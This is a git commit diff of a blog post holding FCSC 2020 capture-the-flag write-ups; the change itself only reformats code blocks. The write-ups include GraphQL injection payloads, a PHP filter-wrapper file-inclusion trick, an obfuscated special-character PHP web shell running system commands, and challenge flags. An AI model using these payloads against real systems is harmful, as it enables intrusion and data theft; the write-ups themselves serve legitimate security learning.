FSCS bugfix
parent
4e7463d2b5
commit
4f29f51406
|
@ -32,7 +32,7 @@ Some writeups of severals web challenges from the [FCSC 2020](https://france-cyb
|
|||
|
||||
The source code of the check_secret.php is given at `view-source:challenges2.france-cybersecurity-challenge.fr:5002/check_secret.txt`. The following code is stripped to keep only the interesting part.
|
||||
|
||||
```php
|
||||
{% highlight php%}
|
||||
<?php
|
||||
session_start();
|
||||
$_SESSION['dungeon_master'] = 0;
|
||||
|
@ -48,7 +48,7 @@ The source code of the check_secret.php is given at `view-source:challenges2.fra
|
|||
echo "Secret is correct, welcome Master ! You can now enter the dungeon";
|
||||
}
|
||||
?>
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
We can clearly see it is about PHP Type Juggling since we are comparing `md5($_GET['secret'])` with its value.
|
||||
|
||||
|
@ -64,7 +64,7 @@ This challenge is a basic GraphQL injection, first we see a request is made to *
|
|||
|
||||
Since most of the tools doesn't allow to interact with base64 I opted to build to simple proxy in Python using Flask.
|
||||
|
||||
```py
|
||||
{% highlight py%}
|
||||
from flask import Flask
|
||||
from flask import request
|
||||
import requests
|
||||
|
@ -80,7 +80,7 @@ def graphql():
|
|||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=4646)
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
Now every request fired to `/graphl?query=[SOMETHING]` will be "converted" for the challenge, and the result will be displayed in the page. We can now use every tools to ease our work, I like to use Altair as it's really beautiful :)
|
||||
|
||||
|
@ -89,7 +89,7 @@ Now every request fired to `/graphl?query=[SOMETHING]` will be "converted" for t
|
|||
|
||||
We can send the instrospection query in order to discover the schema of the GraphQL : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection#enumerate-database-schema-via-introspection.
|
||||
|
||||
It looks like that, once converted : `http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search=ZnJhZ21lbnQgRnVsbFR5cGUgb24gX19UeXBlIHsKICBraW5kCiAgbmFtZQogIGRlc2NyaXB0aW9uCiAgZmllbGRzKGluY2x1ZGVEZXByZWNhdGVkOiB0cnVlKSB7CiAgICBuYW1lCiAgICBkZXNjcmlwdGlvbgogICAgYXJncyB7CiAgICAgIC4uLklucHV0VmFsdWUKICAgIH0KICAgIHR5cGUgewogICAgICAuLi5UeXBlUmVmCiAgICB9CiAgICBpc0RlcHJlY2F0ZWQKICAgIGRlcHJlY2F0aW9uUmVhc29uCiAgfQogIGlucHV0RmllbGRzIHsKICAgIC4uLklucHV0VmFsdWUKICB9CiAgaW50ZXJmYWNlcyB7CiAgICAuLi5UeXBlUmVmCiAgfQogIGVudW1WYWx1ZXMoaW5jbHVkZURlcHJlY2F0ZWQ6IHRydWUpIHsKICAgIG5hbWUKICAgIGRlc2NyaXB0aW9uCiAgICBpc0RlcHJlY2F0ZWQKICAgIGRlcHJlY2F0aW9uUmVhc29uCiAgfQogIHBvc3NpYmxlVHlwZXMgewogICAgLi4uVHlwZVJlZgogIH0KfQpmcmFnbWVudCBJbnB1dFZhbHVlIG9uIF9fSW5wdXRWYWx1ZSB7CiAgbmFtZQogIGRlc2NyaXB0aW9uCiAgdHlwZSB7CiAgICAuLi5UeXBlUmVmCiAgfQogIGRlZmF1bHRWYWx1ZQp9CmZyYWdtZW50IFR5cGVSZWYgb24gX19UeXBlIHsKICBraW5kCiAgbmFtZQogIG9mVHlwZSB7CiAgICBraW5kCiAgICBuYW1lCiAgICBvZlR5cGUgewogICAgICBraW5kCiAgICAgIG5hbWUKICAgICAgb2ZUeXBlIHsKICAgICAgICBraW5kCiAgICAgICAgbmFtZQogICAgICAgIG9mVHlwZSB7CiAgICAgICAgICBraW5kCiAgICAgICAgICBuYW1lCiAgICAgICAgICBvZlR5cGUgewogICAgICAgICAgICBraW5kCiAgICAgICAgICAgIG5hbWUKICAgICAgICAgICAgb2ZUeXBlIHsKICAgICAgICAgICAgICBraW5kCiAgICAgICAgICAgICAgbmFtZQogICAgICAgICAgICAgIG9mVHlwZSB7CiAgICAgICAgICAgICAgICBraW5kCiAgICAgICAgICAgICAgICBuYW1lCiAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgfQp9CgpxdWVyeSBJbnRyb3NwZWN0aW9uUXVlcnkgewogIF9fc2NoZW1hIHsKICAgIHF1ZXJ5VHlwZSB7CiAgICAgIG5hbWUKICAgIH0KICAgIG11dGF0aW9uVHlwZSB7CiAgICAgIG5hbWUKICAgIH0KICAgIHR5cGVzIHsKICAgICAgLi4uRnVsbFR5cGUKICAgIH0KICAgIGRpcmVjdGl2ZXMgewogICAgICBuYW1lCiAgICAgIGRlc2NyaXB0aW9uCiAgICAgIGxvY2F0aW9ucwogICAgICBhcmdzIHsKICAgICAgICAuLi5JbnB1dFZhbHVlCiAgICAgIH0KICAgIH0KICB9Cn0K` also Altair provide a simple listing of the "object" and can build a query for you.
|
||||
It looks like that, once converted : [CLICK ME](http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search=ZnJhZ21lbnQgRnVsbFR5cGUgb24gX19UeXBlIHsKICBraW5kCiAgbmFtZQogIGRlc2NyaXB0aW9uCiAgZmllbGRzKGluY2x1ZGVEZXByZWNhdGVkOiB0cnVlKSB7CiAgICBuYW1lCiAgICBkZXNjcmlwdGlvbgogICAgYXJncyB7CiAgICAgIC4uLklucHV0VmFsdWUKICAgIH0KICAgIHR5cGUgewogICAgICAuLi5UeXBlUmVmCiAgICB9CiAgICBpc0RlcHJlY2F0ZWQKICAgIGRlcHJlY2F0aW9uUmVhc29uCiAgfQogIGlucHV0RmllbGRzIHsKICAgIC4uLklucHV0VmFsdWUKICB9CiAgaW50ZXJmYWNlcyB7CiAgICAuLi5UeXBlUmVmCiAgfQogIGVudW1WYWx1ZXMoaW5jbHVkZURlcHJlY2F0ZWQ6IHRydWUpIHsKICAgIG5hbWUKICAgIGRlc2NyaXB0aW9uCiAgICBpc0RlcHJlY2F0ZWQKICAgIGRlcHJlY2F0aW9uUmVhc29uCiAgfQogIHBvc3NpYmxlVHlwZXMgewogICAgLi4uVHlwZVJlZgogIH0KfQpmcmFnbWVudCBJbnB1dFZhbHVlIG9uIF9fSW5wdXRWYWx1ZSB7CiAgbmFtZQogIGRlc2NyaXB0aW9uCiAgdHlwZSB7CiAgICAuLi5UeXBlUmVmCiAgfQogIGRlZmF1bHRWYWx1ZQp9CmZyYWdtZW50IFR5cGVSZWYgb24gX19UeXBlIHsKICBraW5kCiAgbmFtZQogIG9mVHlwZSB7CiAgICBraW5kCiAgICBuYW1lCiAgICBvZlR5cGUgewogICAgICBraW5kCiAgICAgIG5hbWUKICAgICAgb2ZUeXBlIHsKICAgICAgICBraW5kCiAgICAgICAgbmFtZQogICAgICAgIG9mVHlwZSB7CiAgICAgICAgICBraW5kCiAgICAgICAgICBuYW1lCiAgICAgICAgICBvZlR5cGUgewogICAgICAgICAgICBraW5kCiAgICAgICAgICAgIG5hbWUKICAgICAgICAgICAgb2ZUeXBlIHsKICAgICAgICAgICAgICBraW5kCiAgICAgICAgICAgICAgbmFtZQogICAgICAgICAgICAgIG9mVHlwZSB7CiAgICAgICAgICAgICAgICBraW5kCiAgICAgICAgICAgICAgICBuYW1lCiAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgfQp9CgpxdWVyeSBJbnRyb3NwZWN0aW9uUXVlcnkgewogIF9fc2NoZW1hIHsKICAgIHF1ZXJ5VHlwZSB7CiAgICAgIG5hbWUKICAgIH0KICAgIG11dGF0aW9uVHlwZSB7CiAgICAgIG5hbWUKICAgIH0KICAgIHR5cGVzIHsKICAgICAgLi4uRnVsbFR5cGUKICAgIH0KICAgIGRpcmVjdGl2ZXMgewogICAgICBuYW1lCiAgICAgIGRlc2NyaXB0aW9uCiAgICAgIGxvY2F0aW9ucwogICAgICBhcmdzIHsKICAgICAgICAuLi5JbnB1dFZhbHVlCiAgICAgIH0KICAgIH0KICB9Cn0K) also Altair provide a simple listing of the "object" and can build a query for you.
|
||||
|
||||
From there it was easy to click on the "Altair Button" to ask for the flag :P
|
||||
|
||||
|
@ -106,13 +106,13 @@ It appears we were inside a query instead of sending the full query like in the
|
|||
|
||||
The blockstring `"""` helps us discover part of the query, we are inside a weird filter like the following request.
|
||||
|
||||
```js
|
||||
{% highlight js%}
|
||||
{
|
||||
Movie(filter: { OR: [{ year_lt: 1920 }, { title_contains: "River Runs" }] }) {
|
||||
title
|
||||
}
|
||||
}
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
Now we can try to recreate the end of the query, and add our evil payload. At first I tried to replicate a GraphQL query using **OR** in the previous challenge thanks to the proxy.
|
||||
|
||||
|
@ -120,17 +120,17 @@ Now we can try to recreate the end of the query, and add our evil payload. At fi
|
|||
|
||||
Then we can try to request the flag, however it is not labelled like the other challenge, but the errors are quite straightforward and will suggest the correct name.
|
||||
|
||||
```js
|
||||
{% highlight js%}
|
||||
Isaac%"}}, {lastname: {like: "%barton%"}}]}) { nodes { firstname, lastname, speciality, price } } __schema{types{name}}}#
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
![GraphQL Suggest]({{ site.baseurl }}/images/FCSC/graphql2suggestion.png "GraphQL suggest"){: .center-image }
|
||||
|
||||
Now let's get the flag !
|
||||
|
||||
```js
|
||||
{% highlight js%}
|
||||
Isaac%"}}, {lastname: {like: "%barton%"}}]}) { nodes { firstname, lastname, speciality, price } } flagNotTheSameTableNameById(id: 1){flagNotTheSameFieldName}}#
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
![GraphQL]({{ site.baseurl }}/images/FCSC/graphql2flag.png "Ask for the flag"){: .center-image }
|
||||
|
||||
|
@ -140,7 +140,7 @@ Isaac%"}}, {lastname: {like: "%barton%"}}]}) { nodes { firstname, lastname,
|
|||
|
||||
Once again the source code is provided, we have to upload two files but they must have the same SHA1 hashes.
|
||||
|
||||
```py
|
||||
{% highlight python%}
|
||||
attachments = set([f1_hash, f2_hash])
|
||||
# Debug debug...
|
||||
if len(attachments) < 2:
|
||||
|
@ -150,7 +150,8 @@ def _get_flag(self):
|
|||
with open('flag.txt', 'r') as f:
|
||||
flag = f.read()
|
||||
return flag
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
|
||||
We find two files with a SHA1 collisions on Corkami's Github:
|
||||
|
||||
|
@ -166,7 +167,7 @@ Bestiary was a classic Local File Inclusion, abusing the session to execute arbi
|
|||
|
||||
First we can grab the source code by using a PHP filter : `challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=php://filter/convert.iconv.utf-8.utf-16/resource=index.php`. It will be displayed as UTF16 thus not being interpreted as a PHP code. Here is a curated extract of the code.
|
||||
|
||||
```php
|
||||
{% highlight php%}
|
||||
<?php
|
||||
session_save_path("./sessions/");
|
||||
session_start();
|
||||
|
@ -188,7 +189,7 @@ First we can grab the source code by using a PHP filter : `challenges2.france-cy
|
|||
else
|
||||
echo "Select a monster to read his description.";
|
||||
?>
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
We want to include the content of **flag.php** and bypass the filter `strpos($monster, "flag")` which denies us to directly use our wrapper to access flag.php.
|
||||
|
||||
|
@ -202,15 +203,11 @@ The PHP code is changing the default path to save temporary file used to store P
|
|||
> $flag="FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}";
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### WEB - Lipogramme
|
||||
|
||||
We have the following source code, which implement a filter to limit the code executed on the server.
|
||||
|
||||
```php
|
||||
{% highlight php%}
|
||||
<?php
|
||||
if (isset($_GET['code'])) {
|
||||
$code = substr($_GET['code'], 0, 250);
|
||||
|
@ -226,14 +223,15 @@ We have the following source code, which implement a filter to limit the code ex
|
|||
} else {
|
||||
show_source(__FILE__);
|
||||
}
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
|
||||
We have to create a web shell PHP using only special characters, many webshell like that can be found on Github.
|
||||
|
||||
```php
|
||||
{% highlight php%}
|
||||
/?_=system&__=ls%20-ailh&code=%24_%3D%27%24<>%2F%27%5E%27%7B%7B%7B%7B%27%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B
|
||||
/?_=system&__=cat+.f*&code=$_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']);
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
Then we execute the commands `ls -a` and `cat .f*` to bypass the filter and read the flag.
|
||||
|
||||
|
@ -247,27 +245,27 @@ http://challenges2.france-cybersecurity-challenge.fr:5005/index.js
|
|||
|
||||
We can find a reference to `index.wasm` in the Javascript.
|
||||
|
||||
```js
|
||||
{% highlight js%}
|
||||
var wasmBinaryFile = "index.wasm";
|
||||
if (!isDataURI(wasmBinaryFile)) {
|
||||
wasmBinaryFile = locateFile(wasmBinaryFile)
|
||||
}
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
We can find the flag since the format is starting by FCSC.
|
||||
|
||||
```python
|
||||
{% highlight python%}
|
||||
a='FE@P@x4f1g7f6ab:42`1g:f:7763133;e0e;03`6661`bee0:33fg732;b6fea44be34g0~'
|
||||
for c in a:
|
||||
print(chr(ord('\x03')^ord(i)))
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
> FCSC{7e2d4e5ba971c2d9e944502008f3f830c5552caff3900ed4018a5efb77af07d3}
|
||||
|
||||
|
||||
### Forensic - Petite frappe 2
|
||||
|
||||
```python
|
||||
{% highlight python%}
|
||||
import re, sys
|
||||
from subprocess import *
|
||||
|
||||
|
@ -296,7 +294,7 @@ with open('petite_frappe_2.txt', 'r') as f:
|
|||
flag += key
|
||||
|
||||
print(flag)
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
> FCSC{un_clavier_azerty_en_vaut_deux}
|
||||
|
||||
|
@ -305,7 +303,7 @@ print(flag)
|
|||
|
||||
A simple web intro were we could execute arbitrary commands : `view-source:challenges2.france-cybersecurity-challenge.fr:5001/?code=cat%20flag.php`.
|
||||
|
||||
```php
|
||||
{% highlight php%}
|
||||
<?php
|
||||
if (isset($_GET['source'])) {
|
||||
@show_source(__FILE__);
|
||||
|
@ -315,13 +313,13 @@ A simple web intro were we could execute arbitrary commands : `view-source:chall
|
|||
print("<pre>");
|
||||
} else {
|
||||
?>
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
### Intro - SuSHi
|
||||
|
||||
The flag was in a hidden file `.flag`.
|
||||
|
||||
```powershell
|
||||
{% highlight powershell%}
|
||||
ssh -p 6000 ctf@challenges2.france-cybersecurity-challenge.fr
|
||||
__ __ _ __ _ _ ___
|
||||
/ / /\ \ \__ _ _ __ | |_ __ _ / _\_ _ ___| |__ (_) / _ \
|
||||
|
@ -335,13 +333,13 @@ ctf@SuSHi:~$ ls -a
|
|||
. .. .bash_logout .bashrc .flag .profile
|
||||
ctf@SuSHi:~$ cat .flag
|
||||
FCSC{ca10e42620c4e3be1b9d63eb31c9e8ffe60ea788d3f4a8ae4abeac3dccdf5b21}
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
### Intro - Tarte Tatin
|
||||
|
||||
Using a simple decompiler such as Ghidra or IDA will give us a "pseudo" code like .
|
||||
|
||||
```java
|
||||
{% highlight java%}
|
||||
iVar1 = memcmp(local_38,pass_enc,0x10);
|
||||
if (iVar1 == 0) {
|
||||
transform(flag_enc);
|
||||
|
@ -361,42 +359,42 @@ void transform(char *param_1)
|
|||
} while (*pcVar1 != '\0');
|
||||
return;
|
||||
}
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
The transform method is simple caesar cipher, we can grab the flag_enc and decrypt it .
|
||||
|
||||
```powershell
|
||||
{% highlight powershell%}
|
||||
cat flag_enc | grep db | cut -d "'" -f2 | tr -d "\n"
|
||||
Vdkk.cnmd .Sgd.ek`f.hr9.EBRBz72e30320b000/51c//2cc/102be713c55e66/`/ad02/4d1702e04cc654/2`80c|..NzTfdvs4Q4ttx1se%
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
A basic cesar -1 python code.
|
||||
|
||||
```python
|
||||
{% highlight python%}
|
||||
a="Vdkk.cnmd .Sgd.ek`f.hr9.EBRBz72e30320b000/51c//2cc/102be713c55e66/`/ad02/4d1702e04cc654/2`80c|..NzTfdvs4Q4ttx1se"
|
||||
|
||||
secret = ""
|
||||
for c in a:
|
||||
secret += (chr(ord(c)-0x1))
|
||||
print(secret)
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
```powershell
|
||||
{% highlight powershell%}
|
||||
$ ./TarteTatin
|
||||
MySecur3P3ssw0rd
|
||||
Well done! The flag is: FCSC{83f41431c111062d003dd0213cf824d66f770a0be1305e2813f15dd76503a91d}
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
|
||||
### Intro - Le Rat Conteur
|
||||
|
||||
The task is giving us the key, the cipher and the IV. We only need to use them.
|
||||
|
||||
```powershell
|
||||
{% highlight powershell%}
|
||||
openssl enc -aes-128-ctr -d -in flag.jpg.enc -pass "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" -iv "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
![aes]({{ site.baseurl }}/images/FCSC/aes.png "aes"){: .center-image }
|
||||
![aes]({{ site.baseurl }}/images/FCSC/aes.jpg "aes"){: .center-image }
|
||||
|
||||
|
||||
## Intro - Sbox
|
||||
|
@ -407,11 +405,11 @@ A very simple "cryptographic" challenge where you only have to follow the boxes
|
|||
|
||||
The following truth tables will help
|
||||
|
||||
![bool1]({{ site.baseurl }}/images/FCSC/bool1.png "bool1"){: .center-image }
|
||||
![bool1]({{ site.baseurl }}/images/FCSC/bool1.jpg "bool1"){: .center-image }
|
||||
|
||||
We can reproduce the logic in Python
|
||||
|
||||
```python
|
||||
{% highlight python%}
|
||||
x3 = 1
|
||||
x2 = 0
|
||||
x1 = 1
|
||||
|
@ -421,6 +419,6 @@ y2 = x3 ^ (not(x2 | x1))
|
|||
y1 = x2 ^ (not(y3 | x1))
|
||||
y0 = x1 ^ (not(y3 | y2))
|
||||
(y3, y2, y1, y0)
|
||||
```
|
||||
{% endhighlight %}
|
||||
|
||||
> FCSC{0101}
|
||||
|
|
Loading…
Reference in New Issue